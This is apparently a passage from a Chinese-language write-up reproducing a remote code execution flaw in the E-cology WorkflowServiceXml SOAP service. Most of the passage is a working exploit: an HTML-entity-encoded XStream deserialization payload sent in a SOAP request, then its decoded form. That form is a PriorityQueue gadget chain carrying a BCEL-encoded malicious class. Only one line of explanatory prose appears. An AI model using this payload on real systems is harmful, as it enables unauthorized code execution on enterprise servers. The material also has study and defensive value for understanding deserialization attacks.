#100;&#52;&#36;&#99;&#97;&#121;&#36;&#101;&#51;&#36;&#86;&#84;&#69;&#36;&#101;&#102;&#36;&#97;&#50;&#36;&#100;&#102;&#36;&#120;&#50;&#36;&#101;&#55;&#36;&#105;&#54;&#36;&#102;&#100;&#36;&#99;&#48;&#36;&#84;&#70;&#112;&#36;&#106;&#36;&#55;&#102;&#36;&#102;&#50;&#36;&#68;&#36;&#97;&#48;&#36;&#83;&#36;&#101;&#100;&#36;&#51;&#99;&#36;&#101;&#51;&#36;&#109;&#36;&#57;&#97;&#56;&#36;&#103;&#36;&#57;&#52;&#36;&#100;&#54;&#36;&#97;&#51;&#36;&#79;&#36;&#78;&#48;&#36;&#100;&#49;&#36;&#56;&#56;&#77;&#88;&#36;&#56;&#49;&#56;&#36;&#97;&#50;&#36;&#101;&#56;&#36;&#101;&#54;&#36;&#100;&#101;&#36;&#51;&#101;&#36;&#97;&#99;&#36;&#99;&#52;&#97;&#36;&#55;&#101;&#97;&#36;&#56;&#99;&#36;&#54;&#48;&#36;&#86;&#36;&#97;&#54;&#36;&#100;&#48;&#36;&#56;&#50;&#51;&#104;&#36;&#99;&#53;&#36;&#70;&#106;&#36;&#53;&#100;&#36;&#99;&#50;&#106;&#36;&#102;&#99;&#36;&#99;&#56;&#36;&#95;&#36;&#56;&#97;&#36;&#101;&#98;&#88;&#79;&#111;&#107;&#113;&#36;&#68;&#36;&#101;&#98;&#36;&#102;&#48;&#36;&#88;&#54;&#36;&#54;&#48;&#36;&#104;&#36;&#98;&#100;&#36;&#99;&#100;&#36;&#100;&#51;&#36;&#57;&#102;&#36;&#56;&#57;&#36;&#101;&#102;&#36;&#98;&#49;&#36;&#106;&#36;&#51;&#98;&#36;&#89;&#111;&#36;&#84;&#36;&#98;&#101;&#67;&#36;&#72;&#36;&#102;&#100;&#85;&#36;&#102;&#48;&#36;&#55;&#102;&#36;&#90;&#36;&#57;&#100;&#36;&#100;&#56;&#36;&#99;&#57;&#36;&#99;&#56;&#36;&#100;&#100;&#36;&#101;&#99;&#36;&#102;&#99;&#36;&#102;&#55;&#36;&#101;&#48;&#36;&#53;&#101;&#70;&#36;&#51;&#100;&#36;&#99;&#99;&#55;&#36;&#100;&#52;&#36;&#55;&#100;&#36;&#57;&#52;&#85;&#49;&#36;&#56;&#50;&#36;&#99;&#55;&#79;&#36;&#97;&#53;&#56;&#107;&#36;&#51;&#102;&#36;&#56;&#53;&#36;&#100;&#51;&#120;&#36;&#65;&#36;&#80;&#66;&#101;&#36;&#97;&#52;&#36;&#51;&#101;&#36;&#51;&#99;&#68;&#36;&#57;&#57;&#36;&#99;&#54;&#120;&#36;&#51;&#98;&#36;&#102;&#49;&#48;&#118;&#36;&#97;&#49;&#36;&#56;&#54;&#81;&#36;&#53;&#98;&#36;&#100;&#48;&#36;&#56;&#53;&#36;&#100;&#100;&#36;&#102;&#99;&#36;&#103;&#36;&#98;&#97;&#65;&#36;&#102;&#98;&#110;&#36;&#51;&#99;&#36;&#99;&#50;&#36;&#89;&#36;&#99;&#52;&#36;&#75;&#36;&#55;&#98;&#36;&#102;&#48;&#36;&#117;&#36;&#101;&#55;&#36;&#98;&#100;&#36;&#102;&#99;&#36;&#51;&#98;&#36;&#56;&#56;&#36;&#100;&#99;&#36;&#99;&#52;&#36;&#101;&#102;&#36;&#97;&#56;&#85;&#36;&#100;&#49;&#36;&#97;&#51;&#98;&#36;&#57;&#102;&#36;&#56;&#97;&#36;&#53;&#101;&#36;&#86;&#36;&#55;&#100;&#36;&#119;&#36;&#102;&#54;&#36;&#56;&#55;&#36;&#112;&#36;&#57;&#102;&#36;&#102;&#98;&#36;&#99;&#51;&#36;&#102;&#49;&#36;&#56;&#48;&#36;&#56;&#97;&#36;&#56;&#51;&#80;&#36;&#98;&#56;&#36;&#98;&#97;&#73;&#36;&#102;&#98;&#36;&#102;&#102;&#36;&#97;&#49;&#90;&#36;&#82;&#36;&#97;&#101;&#36;&#79;&#36;&#100;&#99;&#100;&#36;&#97;&#54;&#36;&#98;&#52;&#36;&#101;&#97;&#36;&#57;&#49;&#36;&#99;&#51;&#36;&#97;&#49;&#36;&#73;&#77;&#36;&#80;&#51;&#36;&#54;&#48;&#36;&#70;&#36;&#107;&#36;&#102;&#98;&#36;&#88;&#36;&#57;&#102;&#36;&#115;&#36;&#56;&#51;&#36;&#97;&#97;&#36;&#101;&#99;&#36;&#74;&#36;&#65;&#36;&#65;&#10;&#60;&#47;&#115;&#116;&#114;&#105;&#110;&#103;&#62;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#60;&#47;&#97;&#62;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#60;&#47;&#111;&#117;&#116;&#101;&#114;&#45;&#99;&#108;&#97;&#115;&#115;&#62;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#60;&#47;&#110;&#97;&#109;&#101;&#115;&#62;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#60;&#112;&#114;&#111;&#99;&#101;&#115;&#115;&#111;&#114;&#67;&#76;&#32;&#99;&#108;&#97;&#115;&#115;&#61;&#39;&#99;&#111;&#109;&#46;&#115;&#117;&#110;&#46;&#111;&#114;&#103;&#46;&#97;&#112;&#97;&#99;&#104;&#101;&#46;&#98;&#99;&#101;&#108;&#46;&#105;&#110;&#116;&#101;&#114;&#110;&#97;&#108;&#46;&#117;&#116;&#105;&#108;&#46;&#67;&#108;&#97;&#115;&#115;&#76;&#111;&#97;&#100;&#101;&#114;&#39;&#62;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#60;&#112;&#97;&#114;&#101;&#110;&#116;&#32;&#99;&#108;&#97;&#115;&#115;&#61;&#39;&#115;&#117;&#110;&#46;&#109;&#105;&#115;&#99;&#46;&#76;&#97;&#117;&#110;&#99;&#104;&#101;&#114;&#36;&#69;&#120;&#116;&#67;&#108;&#97;&#115;&#115;&#76;&#111;&#97;&#100;&#101;&#114;&#39;&#62;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#60;&#47;&#112;&#97;&#114;&#101;&#110;&#116;&#62;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#60;&#112;&#97;&#99;&#107;&#97;&#103;&#101;&#50;&#99;&#101;&#114;&#116;&#115;&#32;&#99;&#108;&#97;&#115;&#115;&#61;&#39;&#104;&#97;&#115;&#104;&#116;&#97;&#98;&#108;&#101;&#39;&#47;&#62;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#60;&#99;&#108;&#97;&#115;&#115;&#101;&#115;&#32;&#100;&#101;&#102;&#105;&#110;&#101;&#100;&#45;&#105;&#110;&#61;&#39;&#106;&#97;&#118;&#97;&#46;&#108;&#97;&#110;&#103;&#46;&#67;&#108;&#97;&#115;&#115;&#76;&#111;&#97;&#100;&#101;&#114;&#39;&#47;&#62;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#60;&#100;&#101;&#102;&#97;&#117;&#108;&#116;&#68;&#111;&#109;&#97;&#105;&#110;&#62;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#60;&#99;&#108;&#97;&#115;&#115;&#108;&#111;&#97;&#100;&#101;&#114;&#32;&#99;&#108;&#97;&#115;&#115;&#61;&#39;&#99;&#111;&#109;&#46;&#115;&#117;&#110;&#46;&#111;&#114;&#103;&#46;&#97;&#112;&#97;&#99;&#104;&#101;&#46;&#98;&#99;&#101;&#108;&#46;&#105;&#110;&#116;&#101;&#114;&#110;&#97;&#108;&#46;&#117;&#116;&#105;&#108;&#46;&#67;&#108;&#97;&#115;&#115;&#76;&#111;&#97;&#100;&#101;&#114;&#39;&#32;&#114;&#101;&#102;&#101;&#114;&#101;&#110;&#99;&#101;&#61;&#39;&#46;&#46;&#47;&#46;&#46;&#39;&#47;&#62;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#60;&#112;&#114;&#105;&#110;&#99;&#105;&#112;&#97;&#108;&#115;&#47;&#62;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#60;&#104;&#97;&#115;&#65;&#108;&#108;&#80;&#101;&#114;&#109;&#62;&#102;&#97;&#108;&#115;&#101;&#60;&#47;&#104;&#97;&#115;&#65;&#108;&#108;&#80;&#101;&#114;&#109;&#62;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#60;&#115;&#116;&#97;&#116;&#105;&#99;&#80;&#101;&#114;&#109;&#105;&#115;&#115;&#105;&#111;&#110;&#115;&#62;&#102;&#97;&#108;&#115;&#101;&#60;&#47;&#115;&#116;&#97;&#116;&#105;&#99;&#80;&#101;&#114;&#109;&#105;&#115;&#115;&#105;&#111;&#110;&#115;&#62;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#60;&#107;&#101;&#121;&#62;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#60;&#47;&#107;&#101;&#121;&#62;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#60;&#47;&#100;&#101;&#102;&#97;&#117;&#108;&#116;&#68;&#111;&#109;&#97;&#105;&#110;&#62;&#10;&#60;&#100;&#111;&#109;&#97;&#105;&#110;&#115;&#32;&#99;&#108;&#97;&#115;&#115;&#61;&#34;&#106;&#97;&#118;&#97;&#46;&#117;&#116;&#105;&#108;&#46;&#67;&#111;&#108;&#108;&#101;&#99;&#116;&#105;&#111;&#110;&#115;&#36;&#83;&#121;&#110;&#99;&#104;&#114;&#111;&#110;&#105;&#122;&#101;&#100;&#83;&#101;&#116;&#34;&#32;&#115;&#101;&#114;&#105;&#97;&#108;&#105;&#122;&#97;&#116;&#105;&#111;&#110;&#61;&#34;&#99;&#117;&#115;&#116;&#111;&#109;&#34;&#62;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#60;&#106;&#97;&#118;&#97;&#46;&#117;&#116;&#105;&#108;&#46;&#67;&#111;&#108;&#108;&#101;&#99;&#116;&#105;&#111;&#110;&#115;&#95;&#45;&#83;&#121;&#110;&#99;&#104;&#114;&#111;&#110;&#105;&#122;&#101;&#100;&#67;&#111;&#108;&#108;&#101;&#99;&#116;&#105;&#111;&#110;&#62;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#60;&#100;&#101;&#102;&#97;&#117;&#108;&#116;&#62;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#60;&#99;&#32;&#99;&#108;&#97;&#115;&#115;&#61;&#34;&#115;&#101;&#116;&#34;&#62;&#60;&#47;&#99;&#62;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#60;&#109;&#117;&#116;&#101;&#120;&#32;&#99;&#108;&#97;&#115;&#115;&#61;&#34;&#106;&#97;&#118;&#97;&#46;&#117;&#116;&#105;&#108;&#46;&#67;&#111;&#108;&#108;&#101;&#99;&#116;&#105;&#111;&#110;&#115;&#36;&#83;&#121;&#110;&#99;&#104;&#114;&#111;&#110;&#105;&#122;&#101;&#100;&#83;&#101;&#116;&#34;&#32;&#114;&#101;&#102;&#101;&#114;&#101;&#110;&#99;&#101;&#61;&#34;&#46;&#46;&#47;&#46;&#46;&#47;&#46;&#46;&#34;&#47;&#62;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#60;&#47;&#100;&#101;&#102;&#97;&#117;&#108;&#116;&#62;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#60;&#47;&#106;&#97;&#118;&#97;&#46;&#117;&#116;&#105;&#108;&#46;&#67;&#111;&#108;&#108;&#101;&#99;&#116;&#105;&#111;&#110;&#115;&#95;&#45;&#83;&#121;&#110;&#99;&#104;&#114;&#111;&#110;&#105;&#122;&#101;&#100;&#67;&#111;&#108;&#108;&#101;&#99;&#116;&#105;&#111;&#110;&#62;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#60;&#47;&#100;&#111;&#109;&#97;&#105;&#110;&#115;&#62;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#60;&#112;&#97;&#99;&#107;&#97;&#103;&#101;&#115;&#47;&#62;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#60;&#110;&#97;&#116;&#105;&#118;&#101;&#76;&#105;&#98;&#114;&#97;&#114;&#105;&#101;&#115;&#47;&#62;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#60;&#97;&#115;&#115;&#101;&#114;&#116;&#105;&#111;&#110;&#76;&#111;&#99;&#107;&#32;&#99;&#108;&#97;&#115;&#115;&#61;&#39;&#99;&#111;&#109;&#46;&#115;&#117;&#110;&#46;&#111;&#114;&#103;&#46;&#97;&#112;&#97;&#99;&#104;&#101;&#46;&#98;&#99;&#101;&#108;&#46;&#105;&#110;&#116;&#101;&#114;&#110;&#97;&#108;&#46;&#117;&#116;&#105;&#108;&#46;&#67;&#108;&#97;&#115;&#115;&#76;&#111;&#97;&#100;&#101;&#114;&#39;&#32;&#114;&#101;&#102;&#101;&#114;&#101;&#110;&#99;&#101;&#61;&#39;&#46;&#46;&#39;&#47;&#62;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#60;&#100;&#101;&#102;&#97;&#117;&#108;&#116;&#65;&#115;&#115;&#101;&#114;&#116;&#105;&#111;&#110;&#83;&#116;&#97;&#116;&#117;&#115;&#62;&#102;&#97;&#108;&#115;&#101;&#60;&#47;&#100;&#101;&#102;&#97;&#117;&#108;&#116;&#65;&#115;&#115;&#101;&#114;&#116;&#105;&#111;&#110;&#83;&#116;&#97;&#116;&#117;&#115;&#62;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#60;&#99;&#108;&#97;&#115;&#115;&#101;&#115;&#47;&#62;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#60;&#105;&#103;&#110;&#111;&#114;&#101;&#100;&#95;&#95;&#112;&#97;&#99;&#107;&#97;&#103;&#101;&#115;&#62;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#60;&#115;&#116;&#114;&#105;&#110;&#103;&#62;&#106;&#97;&#118;&#97;&#46;&#60;&#47;&#115;&#116;&#114;&#105;&#110;&#103;&#62;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#60;&#115;&#116;&#114;&#105;&#110;&#103;&#62;&#106;&#97;&#118;&#97;&#120;&#46;&#60;&#47;&#115;&#116;&#114;&#105;&#110;&#103;&#62;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#60;&#115;&#116;&#114;&#105;&#110;&#103;&#62;&#115;&#117;&#110;&#46;&#60;&#47;&#115;&#116;&#114;&#105;&#110;&#103;&#62;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#60;&#47;&#105;&#103;&#110;&#111;&#114;&#101;&#100;&#95;&#95;&#112;&#97;&#99;&#107;&#97;&#103;&#101;&#115;&#62;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#60;&#114;&#101;&#112;&#111;&#115;&#105;&#116;&#111;&#114;&#121;&#32;&#99;&#108;&#97;&#115;&#115;&#61;&#39;&#99;&#111;&#109;&#46;&#115;&#117;&#110;&#46;&#111;&#114;&#103;&#46;&#97;&#112;&#97;&#99;&#104;&#101;&#46;&#98;&#99;&#101;&#108;&#46;&#105;&#110;&#116;&#101;&#114;&#110;&#97;&#108;&#46;&#117;&#116;&#105;&#108;&#46;&#83;&#121;&#110;&#116;&#104;&#101;&#116;&#105;&#99;&#82;&#101;&#112;&#111;&#115;&#105;&#116;&#111;&#114;&#121;&#39;&#62;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#60;&#95;&#95;&#112;&#97;&#116;&#104;&#62;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#60;&#112;&#97;&#116;&#104;&#115;&#47;&#62;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#60;&#99;&#108;&#97;&#115;&#115;&#95;&#95;&#112;&#97;&#116;&#104;&#62;&#46;&#60;&#47;&#99;&#108;&#97;&#115;&#115;&#95;&#95;&#112;&#97;&#116;&#104;&#62;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#60;&#47;&#95;&#95;&#112;&#97;&#116;&#104;&#62;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#60;&#95;&#95;&#108;&#111;&#97;&#100;&#101;&#100;&#67;&#108;&#97;&#115;&#115;&#101;&#115;&#47;&#62;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#60;&#47;&#114;&#101;&#112;&#111;&#115;&#105;&#116;&#111;&#114;&#121;&#62;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#60;&#100;&#101;&#102;&#101;&#114;&#84;&#111;&#32;&#99;&#108;&#97;&#115;&#115;&#61;&#39;&#115;&#117;&#110;&#46;&#109;&#105;&#115;&#99;&#46;&#76;&#97;&#117;&#110;&#99;&#104;&#101;&#114;&#36;&#69;&#120;&#116;&#67;&#108;&#97;&#115;&#115;&#76;&#111;&#97;&#100;&#101;&#114;&#39;&#32;&#114;&#101;&#102;&#101;&#114;&#101;&#110;&#99;&#101;&#61;&#39;&#46;&#46;&#47;&#112;&#97;&#114;&#101;&#110;&#116;&#39;&#47;&#62;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#60;&#47;&#112;&#114;&#111;&#99;&#101;&#115;&#115;&#111;&#114;&#67;&#76;&#62;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#60;&#47;&#105;&#116;&#101;&#114;&#97;&#116;&#111;&#114;&#62;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#60;&#116;&#121;&#112;&#101;&#62;&#75;&#69;&#89;&#83;&#60;&#47;&#116;&#121;&#112;&#101;&#62;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#60;&#47;&#101;&#62;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#60;&#105;&#110;&#32;&#99;&#108;&#97;&#115;&#115;&#61;&#39;&#106;&#97;&#118;&#97;&#46;&#105;&#111;&#46;&#66;&#121;&#116;&#101;&#65;&#114;&#114;&#97;&#121;&#73;&#110;&#112;&#117;&#116;&#83;&#116;&#114;&#101;&#97;&#109;&#39;&#62;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#60;&#98;&#117;&#102;&#62;&#60;&#47;&#98;&#117;&#102;&#62;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#60;&#112;&#111;&#115;&#62;&#48;&#60;&#47;&#112;&#111;&#115;&#62;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#60;&#109;&#97;&#114;&#107;&#62;&#48;&#60;&#47;&#109;&#97;&#114;&#107;&#62;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#60;&#99;&#111;&#117;&#110;&#116;&#62;&#48;&#60;&#47;&#99;&#111;&#117;&#110;&#116;&#62;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#60;&#47;&#105;&#110;&#62;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#60;&#47;&#105;&#115;&#62;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#60;&#99;&#111;&#110;&#115;&#117;&#109;&#101;&#100;&#62;&#102;&#97;&#108;&#115;&#101;&#60;&#47;&#99;&#111;&#110;&#115;&#117;&#109;&#101;&#100;&#62;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#60;&#47;&#100;&#97;&#116;&#97;&#83;&#111;&#117;&#114;&#99;&#101;&#62;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#60;&#116;&#114;&#97;&#110;&#115;&#102;&#101;&#114;&#70;&#108;&#97;&#118;&#111;&#114;&#115;&#47;&#62;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#60;&#47;&#100;&#97;&#116;&#97;&#72;&#97;&#110;&#100;&#108;&#101;&#114;&#62;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#60;&#100;&#97;&#116;&#97;&#76;&#101;&#110;&#62;&#48;&#60;&#47;&#100;&#97;&#116;&#97;&#76;&#101;&#110;&#62;&#10;&#32;&#32;&#32;&#32;&#60;&#47;&#99;&#111;&#109;&#46;&#115;&#117;&#110;&#46;&#120;&#109;&#108;&#46;&#105;&#110;&#116;&#101;&#114;&#110;&#97;&#108;&#46;&#98;&#105;&#110;&#100;&#46;&#118;&#50;&#46;&#114;&#117;&#110;&#116;&#105;&#109;&#101;&#46;&#117;&#110;&#109;&#97;&#114;&#115;&#104;&#97;&#108;&#108;&#101;&#114;&#46;&#66;&#97;&#115;&#101;&#54;&#52;&#68;&#97;&#116;&#97;&#62;&#10;&#32;&#32;&#32;&#32;&#60;&#99;&#111;&#109;&#46;&#115;&#117;&#110;&#46;&#120;&#109;&#108;&#46;&#105;&#110;&#116;&#101;&#114;&#110;&#97;&#108;&#46;&#98;&#105;&#110;&#100;&#46;&#118;&#50;&#46;&#114;&#117;&#110;&#116;&#105;&#109;&#101;&#46;&#117;&#110;&#109;&#97;&#114;&#115;&#104;&#97;&#108;&#108;&#101;&#114;&#46;&#66;&#97;&#115;&#101;&#54;&#52;&#68;&#97;&#116;&#97;&#32;&#114;&#101;&#102;&#101;&#114;&#101;&#110;&#99;&#101;&#61;&#39;&#46;&#46;&#47;&#99;&#111;&#109;&#46;&#115;&#117;&#110;&#46;&#120;&#109;&#108;&#46;&#105;&#110;&#116;&#101;&#114;&#110;&#97;&#108;&#46;&#98;&#105;&#110;&#100;&#46;&#118;&#50;&#46;&#114;&#117;&#110;&#116;&#105;&#109;&#101;&#46;&#117;&#110;&#109;&#97;&#114;&#115;&#104;&#97;&#108;&#108;&#101;&#114;&#46;&#66;&#97;&#115;&#101;&#54;&#52;&#68;&#97;&#116;&#97;&#39;&#47;&#62;&#10;&#32;&#32;&#60;&#47;&#106;&#97;&#118;&#97;&#46;&#117;&#116;&#105;&#108;&#46;&#80;&#114;&#105;&#111;&#114;&#105;&#116;&#121;&#81;&#117;&#101;&#117;&#101;&#62;&#10;&#60;&#47;&#106;&#97;&#118;&#97;&#46;&#117;&#116;&#105;&#108;&#46;&#80;&#114;&#105;&#111;&#114;&#105;&#116;&#121;&#81;&#117;&#101;&#117;&#101;&#62;</web:string> <web:string>2</web:string> </web:doCreateWorkflowRequest> </soapenv:Body></soapenv:Envelope>


0x06 漏洞复现



E-cology WorkflowServiceXml远程代码执行

web:string标签中的为关键代码,可以通过burp中的html解码获得明文:

<java.util.PriorityQueue serialization='custom'>  <unserializable-parents/>  <java.util.PriorityQueue>    <default>      <size>2</size>      <comparator class='javafx.collections.ObservableList$1'/>    </default>    <int>3</int>    <com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>      <dataHandler>        <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>          <contentType>text/plain</contentType>          <is class='java.io.SequenceInputStream'>            <e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>              <iterator class='com.sun.tools.javac.processing.JavacProcessingEnvironment$NameProcessIterator'>                <names class='java.util.AbstractList$Itr'>                  <cursor>0</cursor>                  <lastRet>-1</lastRet>                  <expectedModCount>0</expectedModCount>                  <outer-class class='java.util.Arrays$ArrayList'>                    <a class='string-array'>                      <string>$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$8dV$d9W$TW$i$fe$G$C3$M$c3b$Qa$5c$b1u$J$w$c1$ee$V$a9$VA$5c$g$d0$g$8a$Vm$ed0$5c$60$m$cc$c4$c9D$90$$v$b3$9b$ddwk$b7$97$k_$db$3eDO$7b$da$d3$87$be$d8S$l$da$3f$a8$f6$bb$93$40$J$89$da$9c$93$7b$e7$fe$eeo$bb$bf$ef$bb$bf$99$3f$fe$f9$e9W$A$f7$e3$5b$j$G$S$3a$G0$a8$e1$88$9c$8f$eax$i$c7$e4$90$d40$a4$e3$J$Mk8$ae$e2I$j$3aN$a8$Y$d1q$S$a7$a4$d9SR$f2$b4$86$d3r$7eF$87$85Q9$d8$g$c6T$I$N$e3$3a$9a1$a1aR$85$a3aJ$c5$b4$8e$Uft$ac$81$ab$c1$93sZ$Og$e4$e0k$c8$a8$It$dc$8d$ac$8a$b3$K$aa$bb$j$d7$J$f6$u$a8$8c$b5$P$x$88$f4zcBAC$c2q$c5$60vfT$f8C$d6h$8a$92h$c2$b3$ad$d4$b0$e5$3br$bd$m$M$ect$c6$b3$a7E$40$fd$e9$de$945$3f$af$60Eb$ca$3aku$a6$yw$a2$93$a2Lf7$V$tD$d0$9b$f5$7d$e1$G$c7$c4$99$ac$c8$E$D$KV$_Q$f4$c5xJ$d8A$e7$80$I$s$bd1Z$d4$dbE$ea2$81$ff$b4$8f$8cNQ$99Z$ca$b8$C$b3$8c$9b$7eG$a4$a4$X$cd$X$99$b4$e7f$98$ab$ce$U$8e$fbN$m$7c$86Vf$V4$e6$ed$i$af3$_$de$9d$d79$u$ac$b1P$a7$d2$9e$Z$x$O$9b$M$7c$c7$9d$90a3$K$9a$f2$h$d9$c0Iu$sm$cbuC$P$K$p5$_1$d9$3fg$8bt$e0x$$$f7$o$c1$a4C$c3$9a$c4x$d6$9e$3e$e7e$v$aaK$G$96$3d$3d$60$a5$c3$82$S$Q$S$40$c5$y$e1W1Gt$J$v$f1$q$60$cc$z$e9e$7d$5b$f4$3b$b2$f0F$c1E$5cF2$b0$F$5bU$9c30$8fg$Z$868$d9$G$9e$c3$f3$w$5e0p$k$_$gx$J$_$x$d8j$7b3q$db$ca$da$93$5e$dc$V$c1$ac$e7O$c7SN$s$Qn$7c$c8N$t$XqT$f1$8a$81Wq$81P$96$c0Fj$yC$d7$c0kx$9d$d5$5c$8e$O$8fa$e0$N$bci$e0$z$5c4$f06$$$d2$f6$f4$C$k$fd$96$cd2$hx$H$ef$f2$a4$G